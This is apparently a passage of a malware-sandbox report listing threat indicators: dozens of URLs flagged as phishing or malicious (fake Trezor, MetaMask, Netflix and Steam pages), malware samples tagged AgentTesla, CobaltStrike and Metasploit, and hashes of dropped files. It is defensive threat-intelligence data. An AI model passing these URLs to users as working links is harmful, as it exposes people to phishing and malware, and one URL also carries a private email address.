	https://decorartealuminios.com.br/039322/AZ-ULTIMATE-LINKEDIN/index.html	Get hash	malicious	Unknown	Browse	199.232.196.193
	https://uber-dot-yamm-track.appspot.com/23n9C3332xIef2u5qB3FsmMdRmfEUl0juRObEDek2QVW5jqPgkQEUDSjSUOie_PPRN8ZIzLjnKIYf_EcAN6wtHAg6tDGTRfHt9lfAtxT0weLuCVbKoSw6asqJ_UhM7uDzWEWI_6d_QbLGjPw8-X4Ds4m4YHqne99SLBLa7IzDhqNM5JIp-h783DTvcZTRawQQ0zSL	Get hash	malicious	Unknown	Browse	199.232.192.193
	https://ad.doubleclick.net/ddm/clk/586708840;395014688;z	Get hash	malicious	HTMLPhisher	Browse	199.232.196.193
	https://t.co/Jh4tg48jXs	Get hash	malicious	HTMLPhisher	Browse	199.232.192.193
	http://football-booster.freevisit1.com/hs-football.php?live=Greendale%20vs%20Milwaukee%20Lutheran	Get hash	malicious	Unknown	Browse	199.232.192.193

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://googleads.g.doubleclick.net/pcs/click?xai=https%3A%2F%2Fqrco.de/hubZ1kx&sai=https%3A%2F%2Fqrco.de/hubZ1kx&sig=https%3A%2F%2Fqrco.de/hubZ1kx&fbs_aeid=https%3A%2F%2Fqrco.de/hubZ1kx&adurl=https%3A%2F%2Fqrco.de/hubZ1kx&nm=https%3A%2F%2Fqrco.de/hubZ1kx&nx=https%3A%2F%2Fqrco.de/hubZ1kx&ny=https%3A%2F%2Fqrco.de/hubZ1kx&mb=https%3A%2F%2Fqrco.de/hubZ1kx?s=310424&li=%7BLIST_ID%7D&e=2&unsubcribe=dave19nj@aol.com&p=ankthy5621123540622190685&id=51ba79ace383be805bb66046ba9bd867071064e8?ce193f10f6ecbff92496d1486c6d9f7a53aab8b00cf27227&stpe=default	Get hash	malicious	Unknown	Browse	151.101.65.16
	https://www.boutique-insights.com/	Get hash	malicious	Unknown	Browse	151.101.2.133
	8f40pUzDo8.exe	Get hash	malicious	Metasploit	Browse	199.232.210.172
	https://us6.pqoz.org/track/click?n=ed5d31d43bd12b6dd113ed296&prf=ae80de0&ref_=2co&ref=a5k/&u=d72ro/&eid=xmbeyw/4cd&e=d8s41f40E6	Get hash	malicious	Unknown	Browse	151.101.2.217
	https://webapp-trezor.github.io/	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	https://rishi20052003.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	185.199.111.153
	http://restoration-portal-page.com/restore.html	Get hash	malicious	Unknown	Browse	151.101.129.140
	http://digiredir-bdc-lif.pages.dev/robots.txt	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://martamasklogin.gitbook.io/us	Get hash	malicious	HTMLPhisher	Browse	151.101.64.176
	http://steamcommninty.com/gift/27655982039456778234589	Get hash	malicious	Unknown	Browse	151.101.194.137
FASTLYUS	https://googleads.g.doubleclick.net/pcs/click?xai=https%3A%2F%2Fqrco.de/hubZ1kx&sai=https%3A%2F%2Fqrco.de/hubZ1kx&sig=https%3A%2F%2Fqrco.de/hubZ1kx&fbs_aeid=https%3A%2F%2Fqrco.de/hubZ1kx&adurl=https%3A%2F%2Fqrco.de/hubZ1kx&nm=https%3A%2F%2Fqrco.de/hubZ1kx&nx=https%3A%2F%2Fqrco.de/hubZ1kx&ny=https%3A%2F%2Fqrco.de/hubZ1kx&mb=https%3A%2F%2Fqrco.de/hubZ1kx?s=310424&li=%7BLIST_ID%7D&e=2&unsubcribe=dave19nj@aol.com&p=ankthy5621123540622190685&id=51ba79ace383be805bb66046ba9bd867071064e8?ce193f10f6ecbff92496d1486c6d9f7a53aab8b00cf27227&stpe=default	Get hash	malicious	Unknown	Browse	151.101.65.16
	https://www.boutique-insights.com/	Get hash	malicious	Unknown	Browse	151.101.2.133
	8f40pUzDo8.exe	Get hash	malicious	Metasploit	Browse	199.232.210.172
	https://us6.pqoz.org/track/click?n=ed5d31d43bd12b6dd113ed296&prf=ae80de0&ref_=2co&ref=a5k/&u=d72ro/&eid=xmbeyw/4cd&e=d8s41f40E6	Get hash	malicious	Unknown	Browse	151.101.2.217
	https://webapp-trezor.github.io/	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	https://rishi20052003.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	185.199.111.153
	http://restoration-portal-page.com/restore.html	Get hash	malicious	Unknown	Browse	151.101.129.140
	http://digiredir-bdc-lif.pages.dev/robots.txt	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://martamasklogin.gitbook.io/us	Get hash	malicious	HTMLPhisher	Browse	151.101.64.176
	http://steamcommninty.com/gift/27655982039456778234589	Get hash	malicious	Unknown	Browse	151.101.194.137
CLOUDFLARENETUS	K. Taean V31 Vessel's Particulars.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	IMA GLORY PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	WellingtonNZ Bid Proposal [1].eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	8f40pUzDo8.exe	Get hash	malicious	Metasploit	Browse	1.1.1.1
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.97.3
	https://40g2LkriY8Rlmj2z7KxVKPmlV85.cmap.com.mx/xianzjdjh/vjvituyuhg/fugurvihd/YW1hbmRhX2FzdG9yaW5vQHJhY3YuY29tLmF1/1/0109019220399199-e2edd51e-1192-4588-a89e-857bfd5d7cd2-000000/_qqjspv2Kzpd4ulvQMRkptoJwrg=173	Get hash	malicious	Phisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://us6.pqoz.org/track/click?n=ed5d31d43bd12b6dd113ed296&prf=ae80de0&ref_=2co&ref=a5k/&u=d72ro/&eid=xmbeyw/4cd&e=d8s41f40E6	Get hash	malicious	Unknown	Browse	172.67.41.229
	https://webapp-trezor.github.io/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://bpost-be.help/	Get hash	malicious	Unknown	Browse	104.17.25.14
CLOUDFLARENETUS	K. Taean V31 Vessel's Particulars.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	IMA GLORY PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	WellingtonNZ Bid Proposal [1].eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	8f40pUzDo8.exe	Get hash	malicious	Metasploit	Browse	1.1.1.1
	DLPAgent.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.97.3
	https://40g2LkriY8Rlmj2z7KxVKPmlV85.cmap.com.mx/xianzjdjh/vjvituyuhg/fugurvihd/YW1hbmRhX2FzdG9yaW5vQHJhY3YuY29tLmF1/1/0109019220399199-e2edd51e-1192-4588-a89e-857bfd5d7cd2-000000/_qqjspv2Kzpd4ulvQMRkptoJwrg=173	Get hash	malicious	Phisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://us6.pqoz.org/track/click?n=ed5d31d43bd12b6dd113ed296&prf=ae80de0&ref_=2co&ref=a5k/&u=d72ro/&eid=xmbeyw/4cd&e=d8s41f40E6	Get hash	malicious	Unknown	Browse	172.67.41.229
	https://webapp-trezor.github.io/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://bpost-be.help/	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://rishi20052003.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	23.206.229.209
	https://violation-policy-meta-ticket-id6398907.vercel.app/	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://hold-biur.io/	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://meitatmasklogin.gitbook.io/usa	Get hash	malicious	HTMLPhisher	Browse	23.206.229.209
	https://www.renewal-login-netflx.com-auth-id-9519522.com/	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://teggolossszaadrugga.ru/main	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://kiirakenliogiun.gitbook.io/us	Get hash	malicious	Unknown	Browse	23.206.229.209
	http://api.palpita.net/bat01.html	Get hash	malicious	HTMLPhisher	Browse	23.206.229.209
	https://deprivecerealnorth-facc4a.ingress-comporellon.ewp.live/wp-content/plugins/AAbobbonian/pages/region.php?lca	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://broadlyaxis.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	23.206.229.209
28a2c9bd18a11de089ef85a160da29e4	https://googleads.g.doubleclick.net/pcs/click?xai=https%3A%2F%2Fqrco.de/hubZ1kx&sai=https%3A%2F%2Fqrco.de/hubZ1kx&sig=https%3A%2F%2Fqrco.de/hubZ1kx&fbs_aeid=https%3A%2F%2Fqrco.de/hubZ1kx&adurl=https%3A%2F%2Fqrco.de/hubZ1kx&nm=https%3A%2F%2Fqrco.de/hubZ1kx&nx=https%3A%2F%2Fqrco.de/hubZ1kx&ny=https%3A%2F%2Fqrco.de/hubZ1kx&mb=https%3A%2F%2Fqrco.de/hubZ1kx?s=310424&li=%7BLIST_ID%7D&e=2&unsubcribe=dave19nj@aol.com&p=ankthy5621123540622190685&id=51ba79ace383be805bb66046ba9bd867071064e8?ce193f10f6ecbff92496d1486c6d9f7a53aab8b00cf27227&stpe=default	Get hash	malicious	Unknown	Browse	13.85.23.86
	https://www.boutique-insights.com/	Get hash	malicious	Unknown	Browse	13.85.23.86
	https://www.cloudskillsboost.google/users/sign_up?organization=automation-anywhere-inc&utm_campaign=signup&utm_medium=email&utm_source=organization	Get hash	malicious	Unknown	Browse	13.85.23.86
	Inv_Doc_18#908.pdf	Get hash	malicious	Unknown	Browse	13.85.23.86
	https://bpost-be.help/	Get hash	malicious	Unknown	Browse	13.85.23.86
	https://dallasinko.xyz/rPFdGp	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86
	https://rishi20052003.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86
	https://short.com.vn/j5X0	Get hash	malicious	Unknown	Browse	13.85.23.86
	https://centi.ai/@regulations	Get hash	malicious	Unknown	Browse	13.85.23.86
	https://quineprobsdlogin.gitbook.io/us	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86
3b5074b1b5d032e5620f69f9f700ff0e	https://googleads.g.doubleclick.net/pcs/click?xai=https%3A%2F%2Fqrco.de/hubZ1kx&sai=https%3A%2F%2Fqrco.de/hubZ1kx&sig=https%3A%2F%2Fqrco.de/hubZ1kx&fbs_aeid=https%3A%2F%2Fqrco.de/hubZ1kx&adurl=https%3A%2F%2Fqrco.de/hubZ1kx&nm=https%3A%2F%2Fqrco.de/hubZ1kx&nx=https%3A%2F%2Fqrco.de/hubZ1kx&ny=https%3A%2F%2Fqrco.de/hubZ1kx&mb=https%3A%2F%2Fqrco.de/hubZ1kx?s=310424&li=%7BLIST_ID%7D&e=2&unsubcribe=dave19nj@aol.com&p=ankthy5621123540622190685&id=51ba79ace383be805bb66046ba9bd867071064e8?ce193f10f6ecbff92496d1486c6d9f7a53aab8b00cf27227&stpe=default	Get hash	malicious	Unknown	Browse	188.114.97.3 104.21.7.178
	K. Taean V31 Vessel's Particulars.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.97.3 104.21.7.178
	IMA GLORY PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.97.3 104.21.7.178
	https://short.com.vn/j5X0	Get hash	malicious	Unknown	Browse	188.114.97.3 104.21.7.178
	https://violation-policy-meta-ticket-id6398907.vercel.app/	Get hash	malicious	Unknown	Browse	188.114.97.3 104.21.7.178
	https://martamasklogin.gitbook.io/us	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3 104.21.7.178
	https://kloign-procoinabase.gitbook.io/us	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3 104.21.7.178
	https://teggolossszaadrugga.ru/main	Get hash	malicious	Unknown	Browse	188.114.97.3 104.21.7.178
	https://deprivecerealnorth-facc4a.ingress-comporellon.ewp.live/wp-content/plugins/AAbobbonian/pages/region.php?lca	Get hash	malicious	Unknown	Browse	188.114.97.3 104.21.7.178
	http://www.ohmy.bio/doc23-pdf/	Get hash	malicious	Unknown	Browse	188.114.97.3 104.21.7.178

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Installer\MSI4090.tmp	nf963-5d-qns6-w812.msi	Get hash	malicious	Unknown	Browse
	ScreenBeam_Conference_Windows_1.0.5.9.msi	Get hash	malicious	Unknown	Browse
	1eSOBjseu2.msi	Get hash	malicious	CobaltStrike	Browse
	2024.0198840 298135.msi	Get hash	malicious	Unknown	Browse
	hForm.0198840 739798.msi	Get hash	malicious	Unknown	Browse
	ust_019821730-0576383.msi	Get hash	malicious	Unknown	Browse
	Br_i421i2-2481-125_754864.msi	Get hash	malicious	Unknown	Browse
	RAS_OL321231.msi	Get hash	malicious	Unknown	Browse
	file.msi	Get hash	malicious	Unknown	Browse
	file.msi	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Config.Msi\3f3865.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	5.414018621144311
Encrypted:	false
SSDEEP:	48:m1sv7VLARRBzdQGy+gmz0j25xu+9watrwaawaAwaQwao:m1mZLADBzdQGy+0j2nx9LA6Cu
MD5:	18D8943371B226E7CFCBCB309CFE1642
SHA1:	00826FE8844BAD4E4A3B722CDF9BB0C21D46F933
SHA-256:	06EDC8EDB802F87EFC77A742495F3247DF81C4D824A3853400140D697B0ECECF
SHA-512:	B078F89B6B2F224D42B408C93FCA663FF639D4054134100914B43C9C9F25E96F0C399D39F6AAFBFDCE7252FC5E47C178005050603C8868F639CD01B7F867BA08
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@..8Y.@.....@.....@.....@.....@.....@......&.{AD77C9EF-D532-4B73-AECB-399331D1F6EA}..Adobe Acrobat..Updateizpy.msi.@.....@.....@.....@........&.{EAFD1367-48CC-4886-B147-05DB3EF61ECF}.....@.....@.....@.....@.......@.....@.....@.......@......Adobe Acrobat......Rollback..A.....o. .d.e. .r.e.s.t.a.u.r.a.....o.....RollbackCleanup..Removendo arquivos de backup..Arquivo: [1]....ProcessComponents%.Atualizando o registro de componentes..&.{9B4BAC4C-0C06-4A64-9F41-582CCF01CD87}&.{AD77C9EF-D532-4B73-AECB-399331D1F6EA}.@......&.{B3CE7E96-BA2A-4BE7-8126-989E3813DFFB}&.{AD77C9EF-D532-4B73-AECB-399331D1F6EA}.@......&.{23280583-E8D4-406D-85B5-220ECD112E49}&.{AD77C9EF-D532-4B73-AECB-399331D1F6EA}.@......&.{E2C0EB4E-0199-475D-819F-E6238A745503}&.{AD77C9EF-D532-4B73-AECB-399331D1F6EA}.@......&.{461EC9D1-7820-48A4-8977-1D452752DBE1}&.{AD77C9EF-D532-4B73-AECB-399331D1F6EA}.@......&.{1C1F208E-A104-485A-9BB9-4B6E7BA1C269}&.{AD77C9EF-D532-4B73-AECB-399331D1F6EA}.@......&.{F8781596-3AFC-4554-ACE

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jicggenv.nhd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxsi4ctn.orf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m5aax2zw.lxk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w14hsech.dad.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Sep 24 03:29:44 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9820682528526143
Encrypted:	false
SSDEEP:	48:8M/d+T4OUPHVcidAKZdA1P4ehwiZUklqehAy+3:8f0OUkO/y
MD5:	945D1BD93716EF78B9052D5C1B74A4E6
SHA1:	DDBFB8D81762E174157FB526F05C96BF60986693
SHA-256:	14FA1EEDC3F2A4CC45BC2CCF731084D2DA09CBEC9B75B76E7423FA28E479B2DA
SHA-512:	D7C42E200D35BC854D80611680D9A5B09F6893F5EBC30F6BA9FB29B2F17D9EB4216A99ABD8D9A89A9F8F51BE063ED996E13BFDA4CB2CEA2B25C7407CCD23253B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....zU.a:.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I8Y.#....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V8Y.#....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V8Y.#....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V8Y.#.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V8Y.#...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............A.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Sep 24 03:29:44 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.997119552621873
Encrypted:	false
SSDEEP:	48:81/d+T4OUPHVcidAKZdA1+4eh/iZUkAQkqehvy+2:8i0OUFF9Q+y
MD5:	E74B4C124CF949AF56E16D8D0D4D56A1
SHA1:	8D4F97FFB43377257224FE4E2C780CF93B66C05A
SHA-256:	11D851A2C17B4B77BC645ACE16850E530BF5D9F99D0A7756DE9644CB39E1F5D6
SHA-512:	DFC096A4DABB619B236A3387FE1B9D7A3D16A93D5DC3431E1E6CCC05CCB13D0DAC123926CB2BF492173F2FD0BABF035D7C940404F09085AD08D71061ACE9C078
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....p.a:.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I8Y.#....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V8Y.#....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V8Y.#....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V8Y.#.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V8Y.#...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............A.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.007362767063564
Encrypted:	false
SSDEEP:	48:8U/d+T4VHVcidAKZdA1404eh7sFiZUkmgqeh7sVy+BX:8n0yInLy
MD5:	1984AA50DAA2FBFDFAEF78B78BFFEF88
SHA1:	A3E2AADEB581DFB66B55411C29ECBBD27C9533DA
SHA-256:	08BB907C3037DEE27BDBAEF973D26CAC747AA3186D947DEC4D388EEACD013CA0
SHA-512:	A54B5650685D53C779F6FFF314B527883C49B816F02EB87D4E9F4DF68D80E13B8107BDEFAC22E69A2E2D7CCCA9FC5897C4AB98165FD9F94AC5EA475F334FD732
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I8Y.#....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V8Y.#....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V8Y.#....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V8Y.#.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............A.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Sep 24 03:29:44 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9961982840711245
Encrypted:	false
SSDEEP:	48:8q/d+T4OUPHVcidAKZdA1p4ehDiZUkwqehjy+R:8V0OUy5ty
MD5:	1172B7A70DA71A60A8985C76D9929E3D
SHA1:	7C34124F53D98DC93C9C4FB22EBC6EC289C6096A
SHA-256:	52C5322DD3D1739CB16FC54C8F03CBC2D0F8158D86161828FAAEA5B7FAD730BB
SHA-512:	69ABFEE9CE51389A5E8563C1859C8890A21F9C6B732916F129EA15E181A214BAAB441AC0684F31F83005CBFBA8A988C1E30010B579B739F4881C305E340230E7
Malicious:	false
